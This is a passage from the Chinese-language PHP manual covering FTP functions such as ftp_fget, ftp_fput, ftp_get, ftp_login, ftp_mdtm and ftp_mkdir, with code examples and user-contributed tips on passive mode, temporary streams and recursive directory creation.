echo "$command executed successfully\n";
} else {
echo "could not execute $command\n";
}

// close the connection
ftp_close($ftp);

?>

参见

  • ftp_raw() - 向 FTP 服务器发送命令

User Contributed Notes

sam at totallydigital dot co dot nz 16-Dec-2003 01:34
A word of caution, execution via FTP isn't very widely supported.  Check that it works on the servers that you intend to connect to before you start coding something that requires this.


从 FTP 服务器上下载文件并保存到本地已打开的文件中

  • ? ftp_exec
  • ftp_fput ?
  • PHP Manual
  • FTP 函数
  • 从 FTP 服务器上下载文件并保存到本地已打开的文件中

ftp_fget

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_fget — 从 FTP 服务器上下载文件并保存到本地已打开的文件中

说明

ftp_fget(
FTP\Connection $ftp,
resource $stream,
string $remote_filename,
int $mode = FTP_BINARY,
int $offset = 0
): bool

ftp_fget() 函数用来下载由 remote_filename 指定的文件，并写入到本地已经被打开的文件中。

参数

ftp

FTP\Connection 实例。

stream

本地已经打开的文件的句柄。

remote_filename

远程文件的路径。

mode

传送模式参数，必须是（文本模式）FTP_ASCII 或（二进制模式）FTP_BINARY 中的一个。

offset

远程文件开始下载的位置。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。
7.3.0 | mode 参数现在可选。以前强制要求。

示例

Example #1 ftp_fget() 示例

<?php

// path to remote file
$remote_file = 'somefile.txt';
$local_file = 'localfile.txt';

// open some file to write to
$handle = fopen($local_file, 'w');

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// try to download $remote_file and save it to $handle
if (ftp_fget($ftp, $handle, $remote_file, FTP_ASCII, 0)) {
echo "successfully written to $local_file\n";
} else {
echo "There was a problem while downloading $remote_file to $local_file\n";
}

// close the connection and the file handler
ftp_close($ftp);
fclose($handle);
?>

参见

  • ftp_get() - 从 FTP 服务器上下载文件
  • ftp_nb_get() - 从 FTP 服务器上获取文件并写入本地文件（non-blocking）
  • ftp_nb_fget() - 从 FTP 服务器获取文件并写入到一个打开的文件（非阻塞）

User Contributed Notes

lionskape at gmail dot com 06-Feb-2017 04:38
if you are using windows ftp-server with cp1251 encoding there are some troubles with russian "я" in filename\path.

php use telnet to connect ftp-server and there are special symbol with code 255 in telnet protocol. You can try use ftp_raw($connection, 'OPTS UTF8 ON'); and work in utf-8 (if server provides it).

P.S. sorry for my bad english
mike at eastghost dot com 03-Mar-2013 02:22
You might need to use ftp_pasv() if you're behind a firewall and receiving odd timeouts, file creation but now local data saving, etc.
broom at alturnanetworks dot com 03-Oct-2008 04:49
<?php
/**
 * Function returns contents via FTP connection and returns it as string (right version...)
 */
function ftp_get_contents ($conn_id, $filename) {
    //Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

    //Get file from FTP:
    if (@ftp_fget($conn_id, $tempHandle, $filename, FTP_ASCII, 0)) {
        rewind($tempHandle);
        return stream_get_contents($tempHandle);
    } else {
        return false;
    }
}
?>
broom at alturnanetworks dot com 03-Oct-2008 04:18
Another ftp_get_contents approach, using a temperary stream handler. Returns file contents as string.

<?php
function ftp_get_contents ($conn_id, $filename,
//Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

//Get file from FTP assuming that it exists:
    ftp_fget($conn_id, $tempHandle, $filename, FTP_ASCII, 0));

    //Getting detailed stats to check filesize:
    $fstats = fstat($tempHandle);

    return fread($tempHandle, $fstats['size']);
}
?>
justrafi at gmail dot com 06-Feb-2008 08:44
I was in need to synchronize two folders on two separate servers, one is a Windows server, and the other is a Linux server. I created this short and sweet function to help me do this. PLEASE NOTICE: This will not copy folders, and probably will fail if remote folder contains anything else than files.

function sync_folders($host, $port, $username, $password, $remote_dir, $local_dir, $passive_mode = true) {
    $conn_id = ftp_connect($host, $port);
    if (!$conn_id) return false; # fail to connect
    if (!ftp_login($conn_id, $username, $password)) { ftp_close($conn_id); return false; }  # fail to login
    ftp_pasv($conn_id, $passive_mode);
    if (!ftp_chdir($conn_id, $remote_dir)) { ftp_close($conn_id); return false; } # fail to change dir
    if (substr($local_dir, -1) != '/') $local_dir .= '/';

    $list = ftp_nlist($conn_id, '.');
    sort($list);
    foreach ($list as $file) {
        if (!file_exists($local_dir . $file)) {
            $is_copied = ftp_get($conn_id, $local_dir . $file, $file, FTP_BINARY);
        }
    }
    ftp_close($conn_id);
    return true;
}
rodrigo-rocha at oi dot net dot br 06-Sep-2002 07:56
If you suply only a filename to the second parameter of function the ftp_get will open a pointer to the local file creating it and write to it.It's ok if your server dont execute for to mutch time and you dont get too many files but if you do it too many times the pointers created by ftp_get will not be closed and will end your opened files capacity at your server making it to do not open any more files until you restart it.


上传已打开的文件到 FTP 服务器

  • ? ftp_fget
  • ftp_get_option ?
  • PHP Manual
  • FTP 函数
  • 上传已打开的文件到 FTP 服务器

ftp_fput

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_fput — 上传已打开的文件到 FTP 服务器

说明

ftp_fput(
FTP\Connection $ftp,
string $remote_filename,
resource $stream,
int $mode = FTP_BINARY,
int $offset = 0
): bool

ftp_fput() 函数用来上传一个在已经打开的文件中的数据到 FTP 服务器。

参数

ftp

FTP\Connection 实例。

remote_filename

远程文件路径。

stream

打开的本地文件句柄，读取到文件末尾。

mode

传输模式只能为（文本模式）FTP_ASCII 或（二进制模式）FTP_BINARY 其中的一个。

offset

远程文件上传的开始位置。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。
7.3.0 | mode 参数现在可选。以前强制要求。

示例

Example #1 ftp_fput() 示例

<?php

// open some file for reading
$file = 'somefile.txt';
$fp = fopen($file, 'r');

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// try to upload $file
if (ftp_fput($ftp, $file, $fp, FTP_ASCII)) {
echo "Successfully uploaded $file\n";
} else {
echo "There was a problem while uploading $file\n";
}

// close the connection and the file handler
ftp_close($ftp);
fclose($fp);

?>

参见

  • ftp_put() - 上传文件到 FTP 服务器
  • ftp_nb_fput() - 将文件存储到 FTP 服务器 （非阻塞）
  • ftp_nb_put() - 存储一个文件至 FTP 服务器（non-blocking）

User Contributed Notes

roy at user dot nl 29-Apr-2013 08:22
For directly inserting content into a file on an FTP host, you could also create a string stream wich streams directly to the ftp_fput function.

This should create less overhead than first writing to any temp directories locally before streaming, as suggested here.

<?php

$string = "Your content goes here";
$stream = fopen('data://text/plain,' . $string,'r');

ftp_fput($this->connection,$pathTo,$stream, FTP_BINARY);

?>
php at cpis dot me 11-May-2012 02:32
This might be obvious to most of you, but make sure your stream isn't write-only. It has to be able to read from your stream in order to upload its contents.

Took me a while trying to figure out why my  uploaded file was 0B, and that was why.
jevin 22-Nov-2011 11:24
You might also want to note that ftp_fput will overwrite any existing file.
timgolding_10 at hotmail dot com 26-Apr-2009 07:48
If when using fput you get the one of the following errors:

Warning: ftp_fput() [function.ftp-fput]: Opening ASCII mode data connection

Warning: ftp_fput() [function.ftp-fput]: Opening BINARY mode data connection

and it creates the file in the correct location but is a 0kb file and all FTP commands thereafter fail. It is likely that the client is behind a firewall. To rectify this use:

<?php
ftp_pasv($resource, true);
?>

Before executing any put commands. Took me so long to figure this out I actually cheered when I did :D
rok dot meglic at gmail dot com 07-Nov-2008 04:35
Make sure you chdir to remote directory before using ftp_put or else ftp_put will just return error that it cannot create file. After you do the chdir you should NOT pass the whole path of file to ftp_put but just basename (filename). See example for more info.

Example:
<?php
$locpath = 'local_path/resources/js/test.js';
$rempath = 'resources/js/';
$remFile = 'test.js';

ftp_chdir($this->conn_id, $rempath);
ftp_put($this->conn_id, $remFile, $locpath, FTP_BINARY);
?>
robert b 12-Sep-2008 02:43
Using jopi paranoid fi's example, tmpfile() works on PHP 4 and 5 instead of using the php://temp file.
jopi paranoid fi 20-May-2008 12:57
When you have your file contents as a string, create temporary stream and use that as a file handle.

<?php

$contents = "This is a test file\nTesting 1,2,3..";

$tempHandle = fopen('php://temp', 'r+');
fwrite($tempHandle, $contents);
rewind($tempHandle);

ftp_fput($this->ftp, $filename, $tempHandle, FTP_ASCII);

?>
Charlie Brown 16-Apr-2008 02:19
Fails if destination file exists. Delete first and it works.
info at daniel-marschall dot de 19-Apr-2006 12:04
This is a function i wrote to copy a complete directory to a FTP-Server-folder.

function ftp_uploaddirectory($conn_id, $local_dir, $remote_dir)
{
  @ftp_mkdir($conn_id, $remote_dir);
  $handle = opendir($local_dir);
  while (($file = readdir($handle)) !== false)
  {
    if (($file != '.') && ($file != '..'))
    {
      if (is_dir($local_dir.$file))
      {
        ftp_uploaddirectory($conn_id, $local_dir.$file.'/', $remote_dir.$file.'/');
      }
      else
        $f[] = $file;
    }
  }
  closedir($handle);
  if (count($f))
  {
    sort($f);
    @ftp_chdir($conn_id, $remote_dir);
    foreach ($f as $files)
    {
      $from = @fopen("$local_dir$files", 'r');
      @ftp_fput($conn_id, $files, $from, FTP_BINARY);
    }
  }
}

Example:

$conn_id = @ftp_connect($server);
@ftp_login ($conn_id, $username, $passwort);
ftp_uploaddirectory($conn_id, 'mydirectory/', 'theftpdirectory/');
@ftp_quit($conn_id);

I hope you'll find it useful.
darian lassan at yahoo de 04-Feb-2003 10:00
If you want to pass a string containing the filename as source and not a resource handle use ftp_put() instead. Trivial but not mentioned here.


返回当前 FTP 连接的各种不同的选项设置

  • ? ftp_fput
  • ftp_get ?
  • PHP Manual
  • FTP 函数
  • 返回当前 FTP 连接的各种不同的选项设置

ftp_get_option

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftp_get_option — 返回当前 FTP 连接的各种不同的选项设置

说明

ftp_get_option(FTP\Connection $ftp, int $option): int|bool

此函数会返回连接句柄为 ftp_stream，指定键值 option 的值。

参数

ftp

FTP\Connection 实例。

option

截止到目前，支持的选项有：

支持的运行时 FTP 选项
FTP_TIMEOUT_SEC | 返回当前设定的网络操作的超时时间。
FTP_AUTOSEEK | 此选项打开时返回 true，否则返回 false。

返回值

如果成功则返回选项的值，否则，如果给定的参数 option 选项不被支持则返回 false，同时会抛出一条警告（warning）信息。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_get_option() 示例

<?php
// Get the timeout of the given FTP connection
$timeout = ftp_get_option($ftp, FTP_TIMEOUT_SEC);
?>

参见

  • ftp_set_option() - 设置各种 FTP 运行时选项

User Contributed Notes

elamrani dot sv dot laza at gmail dot com 23-Apr-2020 06:22
Please note that you can use this function to get the value of FTP_USEPASSIVEADDRESS option also :

<?php

$conn = ftp_connect("host");
$login = ftp_login($conn, "user", "password");

var_dump(ftp_get_option($conn, FTP_USEPASVADDRESS)); // true (which is the default value)

ftp_set_option($conn, FTP_USEPASVADDRESS, false); // change the value

var_dump(ftp_get_option($conn, FTP_USEPASVADDRESS)); // false

?>


从 FTP 服务器上下载文件

  • ? ftp_get_option
  • ftp_login ?
  • PHP Manual
  • FTP 函数
  • 从 FTP 服务器上下载文件

ftp_get

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_get — 从 FTP 服务器上下载文件

说明

ftp_get(
FTP\Connection $ftp,
string $local_filename,
string $remote_filename,
int $mode = FTP_BINARY,
int $offset = 0
): bool

ftp_get() 函数用来下载 FTP 服务器上指定的文件并保存为本地文件。

参数

ftp

FTP\Connection 实例。

local_filename

文件本地的路径（如果文件已经存在，则会被覆盖）。

remote_filename

文件的远程路径。

mode

传送模式。只能为 (文本模式) FTP_ASCII 或 (二进制模式) FTP_BINARY 中的其中一个。

offset

从远程文件的这个位置继续下载。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。
7.3.0 | mode 参数现在可选。以前强制要求。

示例

Example #1 ftp_get() 示例

<?php

// define some variables
$local_file = 'local.zip';
$server_file = 'server.zip';

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// try to download $server_file and save to $local_file
if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
echo "Successfully written to $local_file\n";
} else {
echo "There was a problem\n";
}

// close the connection
ftp_close($ftp);

?>

参见

  • ftp_pasv() - 返回当前 FTP 被动模式是否打开
  • ftp_fget() - 从 FTP 服务器上下载文件并保存到本地已打开的文件中
  • ftp_nb_get() - 从 FTP 服务器上获取文件并写入本地文件（non-blocking）
  • ftp_nb_fget() - 从 FTP 服务器获取文件并写入到一个打开的文件（非阻塞）

User Contributed Notes

mpatnode at yahoo dot com 26-Jul-2018 08:06
Note that PHP still defaults to FTP active mode by default, which is almost never used anymore since the creation of firewalls.   Don't forget to add a ftp_pasv($conn, true) after your ftp_login.
apurvavora19 at gmail dot com 23-Jul-2018 11:57
I am using ftp_get function to download a file from the FTP server to my web server where my php script is running.
On the webserver, I want the file to be downloaded to a directory which has a structure as follows -> Data/Files/localfilename.exe

However, when I specify the above string in the $local_file_name parameter of ftp_get I get an error saying the file does not exist.

I am running a Windows Server and the php script is running from C:/xampp/htdocs/file.php

Is there any way where I can specify the path on the web server where the file is supposed to be downloaded ?
scott dot chu at udngroup dot com 30-Aug-2016 07:23
I'd suggest use ftp_fget() instead of ftp_get() since the latter only return TRUE or FALSE and there's no obvious way to get the cause of failure.

   Using ftp_fget,  you have to pass a file handle as local file, so you have to do fopen() first. By way of this, you can find 'Permission Denied' problem when call fopen(). If you use ftp_get(), there's no way to find this error cause.

   In my case, I run httpd using 'nobody' and I create ftp local folder using 'haha'. It tooks me long time to find the 'Permission Denied' problem at that time since  I use ftp_get() then.
bob at notallhere dot com 03-Apr-2013 05:50
Don't want to use an intermediate file?  Use 'php://output' as the filename and then capture the output using output buffering.

ob_start();
$result = ftp_get($ftp, "php://output", $file, FTP_BINARY);
$data = ob_get_contents();
ob_end_clean();

Don't forget to check $result to make sure there wasn't an error.  After that, manipulate the $data variable however you want.
miki at epoch dot co dot il 23-Dec-2012 09:32
If you ran the example and see that it fail after 90sec (timeout).

Then try adding:
<?php
ftp_pasv($ftp_conn, true);
?>
Ben Parish 26-Jan-2012 01:14
On Windows (and possibly *NIX) you will get "[function.ftp-get]: failed to open stream: No such file or directory in..." errors if the local_file path contains directory paths that do not already exist.

Even with write permissions ftp_get can create the file but it will NOT automatically create the parent directories as you might expect.
danny at ingeniarte dot com 25-Nov-2010 03:37
Remember to use the full server paths to the directories you are working on. Server paths are not the same as "ftp paths".

I was using the path displayed on my FTP client to download and upload files and I kept getting "Not found" or "Permission Denied" errors.
CuDi 22-Oct-2009 07:50
I tried to ftp a 7mb file today off my webserver.

I copied this example directly and it told me.

Port command successful
"there was a problem"

I thought it was because of the size.
But I guessed it might be cause of my firewall.

So I made the ftp connection passive:

<?PHP

  ...
  $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
  ftp_pasv($conn_id, true);

?>

Ran the script again & it worked fine.

Hope this helps someone
mroerick at gmx dot net 15-May-2009 12:42
ftp_sync is a way to walk the directory structure on the server and copy every directory and file to the same location locally.

<?php
$ftp_server = "ftp.example.com";
$conn_id = ftp_connect ($ftp_server)
    or die("Couldn't connect to $ftp_server");

$login_result = ftp_login($conn_id, "user", "pass");
if ((!$conn_id) || (!$login_result))
    die("FTP Connection Failed");

ftp_sync ("DirectoryToCopy");    // Use "." if you are in the current directory

ftp_close($conn_id);

// ftp_sync - Copy directory and file structure
function ftp_sync ($dir) {

    global $conn_id;

    if ($dir != ".") {
        if (ftp_chdir($conn_id, $dir) == false) {
            echo ("Change Dir Failed: $dir<BR>\r\n");
            return;
        }
        if (!(is_dir($dir)))
            mkdir($dir);
        chdir ($dir);
    }

    $contents = ftp_nlist($conn_id, ".");
    foreach ($contents as $file) {

        if ($file == '.' || $file == '..')
            continue;

        if (@ftp_chdir($conn_id, $file)) {
            ftp_chdir ($conn_id, "..");
            ftp_sync ($file);
        }
        else
            ftp_get($conn_id, $file, $file, FTP_BINARY);
    }

    ftp_chdir ($conn_id, "..");
    chdir ("..");

}
?>
w dot danford at electronics-software dot com 10-Nov-2008 02:06
A subtle issue with the ftp_get() function. The second param, string $local_file, is a file name on the SERVER running the php script. It is NOT a file on the client machine running the browser. I erroneously tried to use this ftp to download a file from my site to my local system. I entered the full path starting with the drive letter ("h:/...") on a system running WIN XP and kept getting a failure of unable to open (destination) file. Only after just putting in a file name with no pathing did I see where the file was written. It was in the directory on my site where the php script is located (hosting is managed shared LAMP server which supports multiple url's, GoDaddy hosting).
Nate from ruggfamily.com 22-Oct-2008 02:12
Here's a quick function that figures out the correct mode to use based on a file's extension.

<?php
function get_ftp_mode($file)
{
    $path_parts = pathinfo($file);

    if (!isset($path_parts['extension'])) return FTP_BINARY;
    switch (strtolower($path_parts['extension'])) {
        case 'am':case 'asp':case 'bat':case 'c':case 'cfm':case 'cgi':case 'conf':
        case 'cpp':case 'css':case 'dhtml':case 'diz':case 'h':case 'hpp':case 'htm':
        case 'html':case 'in':case 'inc':case 'js':case 'm4':case 'mak':case 'nfs':
        case 'nsi':case 'pas':case 'patch':case 'php':case 'php3':case 'php4':case 'php5':
        case 'phtml':case 'pl':case 'po':case 'py':case 'qmail':case 'sh':case 'shtml':
        case 'sql':case 'tcl':case 'tpl':case 'txt':case 'vbs':case 'xml':case 'xrc':
            return FTP_ASCII;
    }
    return FTP_BINARY;
}

// sample usage
ftp_get($conn_id, $local_file, $server_file, get_ftp_mode($server_file));
?>
Aditya P dot Bhatt (adityabhai at gmail dot com) 25-Mar-2008 03:40
<?php
                // define some variables
        $folder_path = "YOUR FOLDER PATH";
        $local_file = "LOCAL FILE PATH";
        $server_file = "SERVER FILE PATH";

        //-- Connection Settings
        $ftp_server = "IP ADDRESS"; // Address of FTP server.
        $ftp_user_name = "USERNAME"; // Username
        $ftp_user_pass = "PASSWORD"; // Password
        #$destination_file = "FILEPATH";

        // set up basic connection
        $conn_id = ftp_connect($ftp_server);

        // login with username and password
        $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

        // try to download $server_file and save to $local_file
        if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
            echo "Successfully written to $local_file\n";
        } else {
            echo "There was a problem\n";
        }

        // close the connection
        ftp_close($conn_id);
?>
anomie at users dot sf dot net 30-Jan-2007 07:24
Crud. The _nb_ only refers to reading from the ftp server, and the buffer in the socket pair is only about 364 bytes. So it doesn't work for files larger than that size.
anomie at users dot sf dot net 25-Jan-2007 09:50
Why there isn't an "ftp_get_contents" function, I don't know. It takes a little work to emulate one, but it's doable.
<?php
function ftp_get_contents($ftp_stream, $remote_file, $mode, $resume_pos=null){
    $pipes=stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
    if($pipes===false) return false;
    if(!stream_set_blocking($pipes[1], 0)){
        fclose($pipes[0]); fclose($pipes[1]);
        return false;
    }
    $fail=false;
    $data='';
    if(is_null($resume_pos)){
        $ret=ftp_nb_fget($ftp_stream, $pipes[0], $remote_file, $mode);
    } else {
        $ret=ftp_nb_fget($ftp_stream, $pipes[0], $remote_file, $mode, $resume_pos);
    }
    while($ret==FTP_MOREDATA){
        while(!$fail && !feof($pipes[1])){
            $r=fread($pipes[1], 8192);
            if($r==='') break;
            if($r===false){ $fail=true; break; }
            $data.=$r;
        }
        $ret=ftp_nb_continue($ftp_stream);
    }
    while(!$fail && !feof($pipes[1])){
        $r=fread($pipes[1], 8192);
        if($r==='') break;
        if($r===false){ $fail=true; break; }
        $data.=$r;
    }
    fclose($pipes[0]); fclose($pipes[1]);
    if($fail || $ret!=FTP_FINISHED) return false;
    return $data;
}
?>

Something similar would work to write a ftp_put_contents function, too.
administrator at gesoft dot org 12-Aug-2006 03:05
Hello everybody,

If someone will try to download files to the same local file (some temporary file), like shown here:

<?php
foreach ($files as $key=>$path) {
...
  $result = ftp_get($ftpConnId, 'temp.tmp', $path, FTP_BINARY);
...
}
?>

please take in consideration the fact that you will have big problems with downloading (getting) hole files. In other words 'temp.tmp' file always will have the same size equal to first downloaded file despite the real size of downloading file. I have not idea what is the reason!

If someone will think that problem is just in getting proper file size (which you will get using filssize() function) he will be mistaken. The download file's size is not equal to source file's size materially, that means fflush() function will not solve the problem (I have tried this as well).

Finally the solution was founded: before downloading a file you will need to delete local file if such exist ('temp.tmp'). So working code will look like:

<?php
foreach ($files as $key=>$path) {
...
  if (file_exists('temp.tmp')) {
    unlink('temp.tmp');
  }
  $result = ftp_get($ftpConnId, 'temp.tmp', $path, FTP_BINARY);
...
}
?>

Good luck in scripting :-)

Vitali Simsive
corey-holzer at nyc dot rr dot com 23-Jan-2004 06:20
The zero size file is not a side effect.  When the ftp_get starts the first thing it does is to create the inode/file which it will stream the data too and that is a zero size file with the nname you specified for the local file.  When the download fails it leaves the file in place.
thivierr at telus dot net 22-Nov-2003 02:25
If you previously downloaded a file before (like a huge web log), and just want to get the remaining portion, do this:

$local_file_size = filesize($local_file_path);
$get_result = ftp_get($conn_id, $local_file_path, $remote_file_path, FTP_BINARY, $local_file_size);

This same code works regardless of wether the local file exists already or not.  You should first test to make sure the local file is not bigger than the remote file.
ramiro at qusarcr dot com 06-Nov-2002 07:36
Keep in mind that ftp_get will overwrite the file on your local machine if it has the same name.


登录 FTP 服务器

  • ? ftp_get
  • ftp_mdtm ?
  • PHP Manual
  • FTP 函数
  • 登录 FTP 服务器

ftp_login

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_login — 登录 FTP 服务器

说明

ftp_login(FTP\Connection $ftp, string $username, string $password): bool

登录入指定 FTP 连接。

参数

ftp

FTP\Connection 实例。

username

用户名（USER）。

password

密码（PASS）。

返回值

成功时返回 true， 或者在失败时返回 false。 如果登录失败，PHP 会抛出一个警告。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_login() 示例

<?php

$ftp_server = "ftp.example.com";
$ftp_user = "foo";
$ftp_pass = "bar";

// 设置一个连接或失败时退出
$ftp = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");

// 尝试登录
if (@ftp_login($ftp, $ftp_user, $ftp_pass)) {
echo "Connected as $ftp_user@$ftp_server\n";
} else {
echo "Couldn't connect as $ftp_user\n";
}

// 关闭连接
ftp_close($ftp);
?>

User Contributed Notes

Anonymous 07-Dec-2015 05:57
from: http://www.ietf.org/rfc/rfc1635.txt

"What is Anonymous FTP?
"...
"Traditionally, this special anonymous user account accepts any string as a password, although it is common to use either the password "guest" or one's electronic mail (e-mail) address.  Some archive sites now explicitly ask for the user's e-mail address and will not allow login with the "guest" password.  Providing an e-mail address is a courtesy that allows archive site operators to get some idea of who is using their services. "

So your code would be:
<?php
ftp_login('ftp.example.com', 'anonymous', 'user@example.com');
?>

If a blank password works, you might have a default password set in your php.ini
Travis Weston 09-Sep-2014 08:47
To suppress the PHP warning, just prepend the function with the error suppression character @. I'm usually against error suppression, but apparently some genius thought it was a good idea to really drive the point home that you have a bad login. Returning false wasn't enough?

if( ! @ftp_login( $connection, 'USERNAME', 'PASSWORD' ) ){
        die( 'Bad login, but no PHP warning thrown.');
}
mattsch at gmail dot com 30-Nov-2010 08:12
Note that to make an anonymous ftp connection, you need to specify "anonymous" as the username and "" (empty string) as the password.

Example:
<?php
ftp_login('ftp.example.com', 'anonymous', '');
?>


返回指定文件的最后修改时间

  • ? ftp_login
  • ftp_mkdir ?
  • PHP Manual
  • FTP 函数
  • 返回指定文件的最后修改时间

ftp_mdtm

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_mdtm — 返回指定文件的最后修改时间

说明

ftp_mdtm(FTP\Connection $ftp, string $filename): int

ftp_mdtm() 获取远程文件的最后修改时间。

Note:

某些 FTP 服务器可能会不支持这个特性！

Note:

ftp_mdtm() 不适用于检查目录。

参数

ftp

FTP\Connection 实例。

filename

要检查的远程文件。

返回值

以本地 UNIX 时间戳的方式返回指定文件的最后修改时间。、错误时返回 -1。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_mdtm() 示例

<?php

$file = 'somefile.txt';

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// get the last modified time
$buff = ftp_mdtm($ftp, $file);

if ($buff != -1) {
// somefile.txt was last modified on: March 26 2003 14:16:41.
echo "$file was last modified on : " . date("F d Y H:i:s.", $buff);
} else {
echo "Couldn't get mdtime";
}

// close the connection
ftp_close($ftp);

?>

User Contributed Notes

mawkapelle at gmail dot com 15-Nov-2018 09:13
Wrapped the above in a function, for easy use:

function getMtime($filename, $server, $login, $pwd){

    // set up connection
    $conn_id = ftp_connect($server) or die("ERROR:Could not connect to $server");

    // login
    $login_result = ftp_login($conn_id, $login, $pwd);

    //  get the last modified time for our file
    $buff = ftp_mdtm($conn_id, $filename);

    // close the connection
    ftp_close($conn_id);

    if ($buff != -1) {
        // somefile.txt was last modified on: March 26 2003 14:16:41.
        return "$filename was last modified on : " . date("F d Y H:i:s.", $buff);
    } else {
        return "ERROR: Could not retrieve mdtime";
    }
}

$filename='example.csv';
$server='ftp.example.nl';
$login='supersecureloginhere';
$pwd='supersecurepwd';

$mtime=getMtime($filename, $server, $login, $pwd);
echo $mtime;
Jaytop 12-Jun-2005 12:51
Seems to work with directories as well on my Win32 box.
wseibert at hxcorp dot com 04-Nov-2004 12:55
When trying to get the modified time of a file that has spaces in it, ftp_mdtm will fail on some FTP servers.  If this happens, surround the file name with quotes.

$file_name = "my index.html";

$file_modtime = ftp_mdtm($connection, '"'.$file_name.'"')


建立新目录

  • ? ftp_mdtm
  • ftp_mlsd ?
  • PHP Manual
  • FTP 函数
  • 建立新目录

ftp_mkdir

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_mkdir — 建立新目录

说明

ftp_mkdir(FTP\Connection $ftp, string $directory): string|false

在 FTP 服务器上，创建指定的目录 directory。

参数

ftp

FTP\Connection 实例。

directory

要创建的目录名。

返回值

如果成功返回新建的目录名，发生错误时返回 false。

错误／异常

如果目录已经存在或相关权限阻止创建目录，则发出 E_WARNING 级别错误。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_mkdir() 示例

<?php

$dir = 'www';

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// try to create the directory $dir
if (ftp_mkdir($ftp, $dir)) {
echo "successfully created $dir\n";
} else {
echo "There was a problem while creating $dir\n";
}

// close the connection
ftp_close($ftp);
?>

参见

  • ftp_rmdir() - 删除目录

User Contributed Notes

postmaster at 250union dot community 13-May-2018 11:25
if(!@ftp_chdir($ftpcon, $part)){
         ftp_mkdir($ftpcon, $part);
         ftp_chdir($ftpcon, $part);
         //ftp_chmod($ftpcon, 0777, $part);
      }

This if part of answer below, if you want working chmod you need to replace it with:

      if(!@ftp_chdir($ftpcon, $part)){
         ftp_mkdir($ftpcon, $part);
         ftp_chmod($ftpcon, 0777, $part);
         ftp_chdir($ftpcon, $part);
      }
4alexr at gmail dot com 07-Nov-2017 11:27
Updated and correct code for making recursive directories:

/**
  * A function to create ftp directories recursively.
  *
  * @param     $ftpcon the ftp connection resource
  * @param     $baseDir
  * @param     $path
  * @param int $mode
  * @return bool
  */
function ftp_mksubdirs($ftpcon, $baseDir, $path, $mode = 0775) {
    $path = dirname($path);

    if ($baseDir !== DIRECTORY_SEPARATOR && strpos($path, $baseDir) !== false) {
        if (empty($path)) {
            // $baseDir equals to $path, it can only mean that this folder already exists
            return false;
        }

        if ($path[0] == DIRECTORY_SEPARATOR) {
            $path = substr($path, 1);
        }
    } else {
        if ($path[0] == DIRECTORY_SEPARATOR) {
            $path = substr($path, 1);
        }
    }

    @ftp_chdir($ftpcon, $baseDir);
    $parts   = explode(DIRECTORY_SEPARATOR, $path);
    $created = [];
    foreach ($parts as $part) {
        if (!@ftp_chdir($ftpcon, $part)) {
            $createdDir = @ftp_mkdir($ftpcon, $part);

            if ($createdDir !== false) {
                ftp_chmod($ftpcon, $mode, $createdDir);
            }

            $created[] = $createdDir;
            @ftp_chdir($ftpcon, $part);
        }
    }

    return !in_array(false, $created);
}
PINAR Musa 11-Jun-2013 08:32
Here's the correct code for making recursive directories:

<?php

// function
function ftp_mksubdirs($ftpcon,$ftpbasedir,$ftpath){
   @ftp_chdir($ftpcon, $ftpbasedir); // /var/www/uploads
   $parts = explode('/',$ftpath); // 2013/06/11/username
   foreach($parts as $part){
      if(!@ftp_chdir($ftpcon, $part)){
         ftp_mkdir($ftpcon, $part);
         ftp_chdir($ftpcon, $part);
         //ftp_chmod($ftpcon, 0777, $part);
      }
   }
}

// usage
$path_of_storage = '/var/www/uploads';
$newftpdir = '2013/06/11/username';

$conn_id = ftp_connect($ftpserver);
ftp_login($conn_id, $login, $pass);
ftp_mksubdirs($conn_id,$path_of_storage,$newftpdir);
ftp_close($conn_id);

?>
butch AT 4RealMedia dot com 12-Sep-2006 11:26
When trying to user the ftp_mkdir, or ftp_chdir I've noticed that some servers like the entire path such as

/usr/local/home/username/sitename/directory/

and other servers, want you to use the path from the initial login, such as just /sitename/directory/

Just wanted to pass this on
vladimir at lukianov dot name 15-Mar-2004 10:28
For recurrent following function work better.
Some ftp servers (like WarFTP) become demented if you'll
try mkdir not from root dir and if path will be relative.
